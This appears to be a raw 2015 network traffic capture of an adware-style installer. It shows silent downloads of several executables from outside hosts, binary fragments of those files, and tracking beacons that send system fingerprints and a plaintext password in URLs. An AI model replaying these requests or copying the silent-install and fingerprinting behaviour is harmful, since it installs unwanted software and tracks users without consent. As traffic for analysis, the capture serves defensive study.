...A...14t.......[6g.<n.B....c.b.wzJ4.....wyiC.8..&........."H...._
....4A.oz.J...J"..}.}...pI.)...c....:...<...)i..~..l]..0.....B.F.^A
&.5.]..t<9j.osB.4|....Bb.O..../...B.".i..A.jT.......Q..B.[yP..5..a\
.2..mj.......<.......a....a.8#.(a4.....c.-......F.#....8%.......f?.
#..An....'..(.Q...y.....c.....b.VRv...e...hK0b.t..."P..4 ...\)...Z
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=9500000-9749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=9500000-9749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:32 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1429063455"
Last-Modified: Wed, 15 Apr 2015 02:04:15 GMT
Cache-Control: max-age=2149
Content-Length: 250000
Content-Range: bytes 9500000-9749999/10994788
Content-Type: application/x-msdownload
X-HW: 1429064909.dop012.fr7.t,1429064912.cds023.fr7.c
Content-Disposition: attachment; filename="sense9.exe"
......-.^.y. x....J..7.\w.y.2.....6...C.\.<..;%.Rb..r..(.......0Wo.
fq.....'m.o?=%....Fm..Y*...6.^._uD2;..gR...._...#)hY.).......e3.......
8".....pE-d..W~..............pWZ..A.....&...|....b....(...<T5]P.P..
.r.J..$F.;......S..N...ZP.g.....x^Y........t.....^&....,....L....W@1l.
P[>.}b...%. .b.PE.........6{d~m.Z[[email protected]...`....9...
..0..N.!q....\l.\..^.GViF%.a*...}.f. ..S....=...Rb ..we~..n.\A1...c..Z
....#..`y...[.@M......)Mwo$............g.k.....?.%.)1.b.....\.........
...._....&.......v6>4&..5......7.....$....V.b9.......^T..b|......o.
.xA...l.\.b..^.......s...V...;...i.b.P.Z...TD...(._0P......K.X_.t..._&
gt;.....!l..6(9.vx.wF..i8.#%...'....,Z..q.q.2.(.9%....*...1...k...:...
."....v...Km..`. ...\.=..[.Z....@3...(.U...~.h...../}..t...-dT.S.L...K
[email protected]....>..t..*..X.#];......V...D.6g.=c...|...<....
...n..?..}.....J.9..=.l...Z0.$ v........G.....1.#.x......#.H..k^2....!
....wZ7@t...&...}~a.]..u`..%...-...l...G...."..{...r,.i...)y.|.......^
......n...2v....$..p.$G ..=R....)Y..=..l.E5)...` O.$3.B...K.}$.....E..
Z.....oq....b..r<.....&...P..;..>..&.....I...O.J.I.>G.0(.w...
/Vbs.ht.J.$42......<........t..m.].)#..L..........Z].g...u]SA...v .
..S.......)).|.G.kmthr.].au.t9...A....Fo<..N.S.....|:.?..k..|...w*0
.W....<.r..6. &:...~..X..SvN*..^...g.....`M-.wP....!3.ZyK`.0H..F[..
]m..GD.$.@[email protected].....'.=..RQ...x.....v.H...U.!D
..........fL.b...;..Z.8-tH.%Zmnm....Gn...2..R......$..>.q:3S...*...
d.=w.,..k.7..)....>[email protected].<.\(.1nJ........i.R.{5.1
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=9750000-9999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



.....aak..x2U@."...M.~k.... b....r..n...B...R...t\z.&...n.h[....\...0.
].m...#alX._F...d.T%!._.z..... >q:R'TU.D.....p.`-....YmS.....C..._.
O1O:.jEX..uPn(...h.? ........@QH..'.u{.cS`D1\.FL.......G.Z.yGW.3g..hi.
[email protected]=......&.......u..B.....-N3..uf.=.5"..q....Z..O.e.#[email protected]
..*....^..9q^....G...'..B'..........t.'.V.m.K...~.n....6'....B........
...M.*."(.%..^..u.)>[email protected]&.8.}.FqdX....
.P..q......:E7FU........k.b%ME... .".........]}.f..N...c.....!..v.xd~:
[email protected]..\.........q.(.71.U..H.....U.F
@.2....T....]..^..,.z..M!../Q.hX4....RVf....$n.v4...pS......j..P..(.W.
.VQ.v......R.n..$1}c.<...............w......t.........".....m.CT...
.o#..{i..]#;..rJ......>9..........gxs....uI......5..Z......s.{..&&g
t;.?.......e....Y,..jK?.........G.!.n.^:........E..8..g.L..[u..n.5.^..
S..............a.".4J............?....:eI........Ib.........RE....b.v.
_$.........G..|.v.>6.......`...a.]....JM ..!.A.)...8.fB..&`......bY
....1{2.v........TQ.BmP.M.....|?..BL.|D.43P..Y..d..e...EDi.pvR.1.'B:YS
.|[email protected].....`.#|..:........[.-.:.......a1..h...D?
..U`&...}..&5...FJ...-8..1.........1.l.&.{4......J..L.M,`.%.....].....
..7..)......o...Er....].v...k.a..T..CD.Q.n.......{F.}Z.....n.<....1
..?U>.*.........Vf....n..y}......y...C. }...M.L...b'.?.............
.......M.YR..7FJ..#.z..._|.{..m._.....P.....m...x=.5.oQ..X...v.)F..`..
tPcY.....J.fr}w...]..qs&89.,....[......`h..RS.;...h.....R#....K.Vk.=.f
 M,.Xsf.jr..\...3............_.........().....`.8g.7.nvw.,f?D..&..
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=9750000-9999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



q...g..V%w".....6..o...v..\.P..#......'.......|"N.i...U (R.[....T,....
=...M......D.7r5.G$.|.M..L{...m..7...].B....y..(f..X[e.[.8....tU......
. n.*...WP3ea6>..0.W,H......a.../:.U.(...o2 .....j./>f}|.,.c....
..B.3.......WAHe.;......F....j...7# ".Z..t.A...T.r?.)..1&....M...wf)|2
Ml.ZdD...[..~#8Y(8.D..%.}K.F9a|....Q.....rtY..<.8.W~.(|dX..D..{(.#.
.x....AY...B.].........$;.....8l..J..S]N..._.....T/. ....YPs0...l.../n
f..........%<%....]....#..HL6AK.gg..RgPQ..KM....@U-......*.....M.m.
:....%.x............O[O....f.Q7..o.7..9C.f..".....)._}Y...C^..X .."...
.,2..[...$........)j.....l.H..Y..5s..f...xAD...x...'..73}.2.u.53D...z.
...`...gF..>..J..l.Lh.....S... ?........q..cv..G..cZ.PsLBp...V$=...
:;.".M....U./z..L......aP..z..:....5(.\..6$.b..Z*......4...}tH)._.....
...R....S.........V..3j.A.Z.Q.9.d...En...O......,.0].z..h.G.aHS1.....=
ik.....6 A... ..s.....4....Q......ON....I...#..K.......a...w..."%~W...
.[..V..U.7nc.J.011..2...L..!.i..N......4.1?~./.3..k...l.g.VkA.........
30kZ.~.>K%?.......(>..v,.!..m.....i..*.*.R....o..#K.....I.#..u.A
......q;x.K.N<..B.....<.1\..,)VdefyS.y...E..U.M...Ai!...nOy.l..Y
 k.[...v.a].QP.U|b...u. f.g.lB.v....:..lag]..W...cZ.../..D./}..?..(.5.
.P..8...4.1"....C].#.>"...V..]k...(=. *3.O...D.r=.".C..d..N..k=..et
..."k.n.'.t..7.I.#.l{..V`..^.w..H......~?^.m$G.vG... `h0...T..f...C...
.@... b..0P.|.0=...$...-.K.h..ZZ.k/....;.......&g...KPX"..l.j..4...Ql.
..BT...\...T."TE9./..l.H..3.......j......".#.'wX..*./J.........Q...1.,
.|...8......].w|....P.....V.._.....3(z..8.-.A-.....mhFH..W6I%k....
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=10000000-10249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:32 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1429063455"
Last-Modified: Wed, 15 Apr 2015 02:04:15 GMT
Cache-Control: max-age=2149
Content-Length: 250000
Content-Range: bytes 10000000-10249999/10994788
Content-Type: application/x-msdownload
X-HW: 1429064909.dop012.fr7.t,1429064912.cds023.fr7.c
Content-Disposition: attachment; filename="sense9.exe"
<W.j.H......r(.. .i.u.3./...1..$y...2...X.....CU5..SAA$~..#G.d.5...
s.^.Mn.w)\.K..c..$......a7&..EC..5Y.......0.R.er......S...8..r_.n...k=
*. 0.....A|.....*.0 ...8....R...D.....u"....kn..{s.ba...U....*........
).l.dA.||.......eO.....Bn..A..yI.w....'...l............I.3.........X.p
....{*.sa9..R_.RH...Z..".w*.w.......`>Ft....!<..'......O.!K...^.
\s....m].....HG#;. ....i .Ept.,[.6.uEl85.oj.m2...j...........]..q.....
c'......fH... .SQ'..V.o.[.#.H...>S.L.^....0..ZuF..C7. .".O.........
b..M.-....'...Zp....7. ..9.~}.O.S......RB....$?..t.~!.R...2...(9c...G.
L.%(.`..Q......P..qZ&.QK...W.t].o..P.v.....{a..W0v.2$.%......j....^1..
.]<...t.V.b...jTF.(..!n.....xD...1......X...g.O...}..j8....c.}r.eo^
$.z..M..gom...f..........d.....Q....i.......&..-.>0h.....3./...Q..Y
....p..G'..Q.....V.-J.U.v...g...$.\"... ....$....d*..\....s.A.sz.!?J.a
..{&.m.P........j.s..........$ki?j...Z.....Lj..D....J~......!........f
..'>V.\...|.x..C.L...N.3.)"..#....#..qP....V......T.@_z.W.[...._..5
.....L...2s...h.^".u,...=X..Y,...rwH.Z........G.'m...o^..........K...3
..3..0...u2..I.-..g....e.....@[email protected].....'7..1......,...AC
....8..R.......Q..]f..~......Z..p4.....#X...!..B.db..!O0u\.'`....[!.0D
...N.?.;..o.}t......OM.Y..(..2...B...Z.B..e~k.d.'7|.(.J...}y{%.=\...w.
.\.....:..Y...5.)/...24......n..........U.....H..... .O<....n..6:..
....O\.?c.g..E.(.....>...i..A'.=..Hv!..b..{.:[.>..N..7?..r...o.n
../?........w.s*.o..{G| ..8....3..0.cf...GN....M.C...i;!o.!.X.,..S..Q.
#C9..S...~R...l._.d.....k..M%>....GV.y....z.......I.......`{3).
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=10250000-10499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:33 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1429063025"
Last-Modified: Wed, 15 Apr 2015 01:57:05 GMT
Cache-Control: max-age=1717
Content-Length: 250000
Content-Range: bytes 10250000-10499999/10995037
Content-Type: application/x-msdownload
X-HW: 1429064909.dop012.fr7.t,1429064913.cds023.fr7.c
Content-Disposition: attachment; filename="iweb.exe"
bj..YC.4-.3L[e.VQw.%{P.).ej$.....:l....2.<.&kT..#..?.,vT%.j.....r..
.n....a.<...N....!^.k.`..7...zu.=..u..d<....3....HE8F|O~.R.a..2t
....j..e.2...p.~L.o..H....h.>.1]NA'.|..[%}g..`[email protected]
..%.\...e..D.t.. ..TG.`.D.......i..D....sx..E..tNU......&..}.]2R..B.N.
.....'E....).......T|Qc2R.=.......I.S..bn.....2.AV.1.......-2'.V...;..
x.>.u].....d.&..sL..j...{....ZD....zHp...X.r...X.. S.C...M..9Nca...
.ja.f........q.8v.x.9#.,...s..8....9.kc..G..mlU>.r...M.).....0q....
...0.5.z........m.0/F...Vup..x...Tn..%!...xJ.-.6........8.L..p...OC../
..N{..aZ.......t.C...........N..s.Dz.H.e/."I.i@.]....v.=...Q..|.....T.
...^./...[....GS..-.f%..K.....AL..E2.Or..<...c.^....>.a..'......
B.B....O:......2.O.8......f.@........`........m)..%.\.......$..6....Il
.......u.{..../......g....~...........F......7l&..........r...7.*.~...
e9.._.>..........4........f..>....NPP.....X.U..\...i......D..H9r
.`1..P...Eu%..$..-.5.....{....mm..Sh\....*..G../.M.j;.2....A.kT.v...n.
.".w@.}.NO........<..$j..q...X..X.I^ [email protected](.........g).k.
..k.....!.`...E...g4I.......CL[h.Y....5h/....&..y...-s..#......>..'
r..\...q..a..w...:<G../<....wj.6....1$.L.S.(...P.J......_....%..
....D [email protected]....\?..d9..N...........3.'..,.[..4...].b2
<..G...doS.........[..6.~&;......h.a.......)..S;]..d.6K}...........
.K..Eu]l....x.&.....Du.0..mo...F....,...H3.E.....{...x..qK......W<.
.7......]@.PD.=.u..;.....(I..h..3$#..2s...\.K.._m.HP..j.@./.F.d..*....
A...n.........o|..%#x.....L..`~.......k.....l5w]...ej..M1.=v...].A
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=10500000-10749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:33 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1429063025"
Last-Modified: Wed, 15 Apr 2015 01:57:05 GMT
Cache-Control: max-age=1717
Content-Length: 250000
Content-Range: bytes 10500000-10749999/10995037
Content-Type: application/x-msdownload
X-HW: 1429064909.dop012.fr7.t,1429064913.cds023.fr7.c
Content-Disposition: attachment; filename="iweb.exe"
....J.0*.M....dS.c.y\k...!.J?.%._m'...0..)s....0.....^.(K....->'..Q
...I,..}..`.....gi...F}b.4.QnRo..O.F....k.(=...DQ.k.I/.....lAC......%.
l.W.{...F.*..q..1......U.Xx...6y.d..............[..3Qz=..5.6......*\p.
....?IY..#VN.a\..T.!......`*;..>7Ua..p..)..6.=...h..]....z......^[.
.<"^.c.S.#Yo...2.Z.D...W/4.)..U.QK.H$.e[.t..(...B....c.....T^.z....
H.@^...N.J>.,u. J.....Z!i7.;B$`...........N...... `.%......\..R.#..
..g..I'.......q.$^?q.^[=)..0.!....^.....P.N.%.y_..-qWA.....N!..q.u.g.\
.....:.....5Z...c}..{v..^-..i..W.k.n.....p....j'.D....DN7F.......Fs...
.....Z.....Y._.5P..&..e..=......R....2....H~'..J}v.lm...Yn...".......e
..L........C.&.t..SrX...>....4.LT!./.B.[.7.R]..1_.....%m.......I.tt
.....n9..~[Q/."8>.S.#9R........]wc.)w....n".........%......z...g..2
~[X....v..B...mP.......Z...=...z.^.yp..Z;.R..Z:......=k..Y....2L.g@.&g
t;.f.............Y....v.v.j;.B..Be.Q..HF.M.....{9*...~ge.G^]*I;.......
..fa......>...B.T(.0.`....M..P..O..q.px.U|...|wS.8.O$ju...X2.&.....
QOa.K...7.~...~..o..Ro.(.N...s..vI.7n....:.....I.0.......`.nB...H'..bg
~..,.U<.T..|'.(.`.......Ij;H......r............;*6u.._3.Hq!...om."r
c.N.......3...A.......y........u.....W.|.t.A.w9D...1..1;...&XD...7.F.b
....Uo...T..W8_^h.z..%..}."..|...=L.....Z[........k.. ......07... t.U.
A..u;k*...s@G]....c..s../}.t ...|.....8L.......27.N......5.9v...x.....
..}.Dl.......T....6........}..O......MZ.E|.b.{.N.A.l...<.y....a.nS.
.<.hz[..tkf..ik.F...#3M.....>=,....I..........y.9K.Q.....}I.T.6.
......Y.cX.4...dl..?.......l....G......Kb5,.&3.G_z.r....1....?.x..
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=10500000-10749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:33 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1429063455"
Last-Modified: Wed, 15 Apr 2015 02:04:15 GMT
Cache-Control: max-age=2148
Content-Length: 250000
Content-Range: bytes 10500000-10749999/10994788
Content-Type: application/x-msdownload
X-HW: 1429064909.dop012.fr7.t,1429064913.cds023.fr7.c
Content-Disposition: attachment; filename="sense9.exe"
.X...).U.i4.x..siY.......IVI.2..n.%b..R...Uq....3.v......j_.DX!.I..y~.
O.#]..c...4.**....^/..\|Z.. . 0...q.....CtX_....)i..S...).O.h.....h..a
....kY(.X"..F...).....e...,J..i....6.>..D.%.YK..C../.......>...)
.b.4v...8.:I..WR....d.r.....<...].`.....]......:g.K...wy...4<|..
..2~.~.U..]. $..G\.3.2V5Nr....Ep....S.(.I...Yk?.=X..'...(n`...Sr.>.
.K1&;,T....M.y...^..D.e.K..'...j.D.Q}c_g.o.$.ap....dF;....1.2.....\.t,
.......5=!..s..a.2..W.p[#....27c...&.vEd...Y.|.^.Y.2.....SE9.......S..
 d.b...P...X...a...c..,..e...A(..!/.lsC.O.a.{.....A.[.{...\.....M..'..
..S......%..x... %..D..P. ,...NS..}[email protected]. |.....> .
lp:......h.R.$.......AE.......du...yMy..D....>'(u.~t2.1.W.\(.X..9..
m....Y....b.Q.7....Y.8...=.....R.....*..|..`3......6..B..[....vT.P....
.......&_#..E..Ze.%2.v./A.#c.z...&..W..rF....v.....u.Z.}.x."..2.>..
..:....5...>......P......M..S?.s"...n...b.}.5ub..zO.Io.S..n.3m33!..
. ...(l&...:0...m..,..V...|[email protected] ..?.....AL.....O.P....N....
.M_../......0...Tgn..^./...0.|.....@\..65.R*.S<......XE.8..B.c.....
w,t...U_....4.n.[E.#..1./.^P......N.^....u...o...!....v...Yp/...F.x...
[....L..Y.-.^i..N...M.h....D.y.[<|..1s.cj3..>X.=UtVn........e.[.
j.v.9.jkn.Y...._0,.$-T.@[].F.YMU...!."P".S.E..\.nU....c.....[....A....
.....w.D..U.M..6.a..,Xm..jRK/.O=*.....9......^*.H....).1..Gk"D.....D.#
...[.VXq.!...i......0.#.......&5.a..1CY....,_.=....../..#.:..Qb...k.J.
...'.a.cB,..s.B..H.{....{j..m5.q.J......7..Q...@.../S|B......k.bh# .O.
q.c..d9..H.F....>........IL...sx.2..T[T.......2..T.^C.Mw.d>!
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Wed, 15 Apr 2015 02:28:20 GMT
Content-Type: application/octet-stream
Content-Length: 671328
Last-Modified: Fri, 10 Apr 2015 02:59:56 GMT
Connection: keep-alive
Expires: Sat, 18 Apr 2015 02:28:20 GMT
Cache-Control: max-age=259200
Content-Range: bytes 0-671327/671328
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........*...D...D.
[email protected][email protected][email protected][email protected]...
[email protected]............
[email protected]............
@.......................................... ..............."..`.......
[email protected]................
...............text....P.......R.................. ..`.rdata...^...p..
.`...V..............@[email protected]...$O.......,[email protected].
....... ......................@[email protected]..................
@..B..................................................................
......................................................................
......................................................................
......................................................................
............................................U..j.h.NG.d.....P....T.H.3
.P.E.d......M..E....Q...e.P......M.......E.....j.j..M..K...j.j..M.Q.M.
.K....E......E..M.d......Y..]...U..Q.M..E.P.pn.....P.M..4.....].......
..........U..Q.M.j.j..E.P.M.Q.U.R.M..a.....]..............U..Q.M..M...
....E...]...........U..Q.M..M......P.E.P.M..d...P.M........]........U.
.....M..E..H.;M.r..M......;E.s..M.......U..B. E.;E.s..M..Q. U..U..M...
... E..E..E.;E.s..M..M.... U..E..H. M.;.w..M.......U..B. E. E..E..M..Q
..U. U..U..E..H.;M.s.j..U.R.M..?....E.;E.tS.M.Q.M.......E..E.P.M..
<<< skipped >>>


GET /installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-04-14&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=323F1A84EBEE4590A0CC140886D02470PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_43&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350029&asw=0&asw2=1082139141&asw3=-2147475456&asw4=0&crtnm=na&mdat=&procstarttime=1429064960&procruntime=2&rnd=1429064962 HTTP/1.1
Host: stats.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: eMxewo1WQX9Gelqu5Uka0qY436enr/IB92D8 rqq3/lryJa/CVltFuc WDD4m qvlFEOk71iY7c=
x-amz-request-id: 4E37E72C2A43FB61
Date: Wed, 15 Apr 2015 02:29:23 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:33:18 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: eMxewo
1WQX9Gelqu5Uka0qY436enr/IB92D8 rqq3/lryJa/CVltFuc WDD4m qvlFEOk71iY7c=
..x-amz-request-id: 4E37E72C2A43FB61..Date: Wed, 15 Apr 2015 02:29:23 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 31 Mar 2015 09:33:18 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /installer.gif?action=finished&LFMR=_ffDll_0&app=65743&appver=&ver=1_36_01_22&version_date=15-04-14&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=323F1A84EBEE4590A0CC140886D02470PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_43&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350029&asw=0&asw2=1082139141&asw3=-2147475456&asw4=0&crtnm=na&procstarttime=1429064960&procruntime=12&rnd=1429064972 HTTP/1.1


Host: stats.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: PboR5Qpqprgh0XhyORFld7mW1HQGY7WmT/fLHAvSua3OUfmxZa08RE/kikrc1uX2u3OguQtUM9Q=
x-amz-request-id: 2E10A05B83432310
Date: Wed, 15 Apr 2015 02:29:33 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:33:18 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=65743&appver=&ver=1_36_01_22&version_date=15-04-14&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=323F1A84EBEE4590A0CC140886D02470PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429064960&lifetime=0&silent=1&crtnm=na&procstarttime=1429064960&procruntime=12&rnd=1429064972 HTTP/1.1


Host: stats.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: re D07nNBN6bbYkUsZB2 UUcSLwwbq0WGaMZ4hYzc2rl h4vbYqdfuFCWLc OmnA/F4HhlkHJrY=
x-amz-request-id: BE6AFA98267A6DE4
Date: Wed, 15 Apr 2015 02:29:33 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:32:56 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: re D07
nNBN6bbYkUsZB2 UUcSLwwbq0WGaMZ4hYzc2rl h4vbYqdfuFCWLc OmnA/F4HhlkHJrY=
..x-amz-request-id: BE6AFA98267A6DE4..Date: Wed, 15 Apr 2015 02:29:33 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 31 Mar 2015 09:32:56 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=249864-
User-Agent: Better Installer(Mozilla)
Host: d3hm9b8fv0d908.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache



.:nE...Y.`~2.".cZ.Z....rI..P.R.?!....T...;... [email protected]....
.JW.....&..........J..r..0.8y.....O.u.......z.y.....K.!..5D"U#]....0.*
...........X..ivn..O... ..1...K..b...........-...c_..X......Q...).u..s
.....#M......U..J.N....KE..~B.....o.6.@LTU.;.........R..d........(*.Y.
.U.....:..<...7S|;.FV......yN...$........8W...U.t.O3.H1...I...r.:..
.,V... ..r...... ..e.!..<e.).7I.D.U...!...$.ucw.'n..s.......@@.3@..
......E.@J.(..3..:I...E..4sOv.......!'.@...........*...o\.r.C..Ty....o
.A.........6.D4!N.qJa.G.1....`.k..Zl8...q.[..,.P...._D..<n......$..
G."Y......HB#K......,.,_...(6...XEju>&AM>..9b.&F.R.{....Q;a|..B}
.-.B..~"J'..G..0G....s..xj..D#.tD1 .....{......Z..{Gw.CF..vI#...E.; %U
a..7.K.. [email protected]...>.....)P...]E'...E......*.
.....9..M{.t...gv...:....4W..B....o".Q..R,..G...;...ZX..^&.H....$SQ{v.
..E....f..-....,.*........x...A]K3o.7.7.......vuE....7.....AG.2..L.fb0
..}.............&.0t..:....G.......O.a.@[email protected]..|8.....T..d.......b..
......W/.3.-...D.4a.......1.3.(..jV...."}{.`.j......9.%.TF..5C.L>..
V.L'.%a.4.}..[........ x..L?~...#...$...3...:.=..g..X.Nmt...2.|#_.S...
....KHB./.Ou3.4...B.DYQ.?...nX.P.HWP.*k.......... D....5.5O..|X.P..[..
|..ZP.D..\5.P..-Jq'..rLLr.(..S......R. .u.Q..t\.O$..s... ..ayU?No=...7
..:.$..X..#O.......<.....<D...../A..yf..*.>.E.w.e;H..3.b.1..&
gt;F....d..}.C.PTH....7..A..5xF.$(.Y..e.@2w)H6......0...p....t.(...(&.
9.]k.C..].....X.X"..\...z,.Dm.o_.OOd3...fA..N..c(..w/...>a..Wh.....
%....NC.......B.A.x...5...0J....0,x,.Q.]b.(*`wf.52f..D.2.j4..#[email protected]
<<< skipped >>>


GET /monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429064926&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429064926 HTTP/1.1
Host: logs.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:29:02 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1389114507"
Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT
Cache-Control: max-age=86400
Content-Length: 35
Content-Type: image/gif
X-HW: 1429064942.dop005.fr7.t,1429064942.cds021.fr7.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Wed, 15 Apr 
2015 02:29:02 GMT..Keep-Alive: timeout=5, max=100..Connection: Keep-Al
ive..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07 
Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 3
5..Content-Type: image/gif..X-HW: 1429064942.dop005.fr7.t,1429064942.c
ds021.fr7.c..GIF89a.............,...........D..;..



GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=3b2a9a12-ae50-485f-b698-985ad0065d83&Password=4lh92yoP&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429064920&SBPIDS=1&KA=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=yryr1ujhx150s145etznmk55


HTTP/1.1 302 Found
Connection: close
Date: Wed, 15 Apr 2015 02:28:40 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache, no-store
X-AspNet-Version: 2.0.50727
Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=3b2a9a12-ae50-485f-b698-985ad0065d83&Password=4lh92yoP&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429064920&SBPIDS=1&KA=1
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 1266
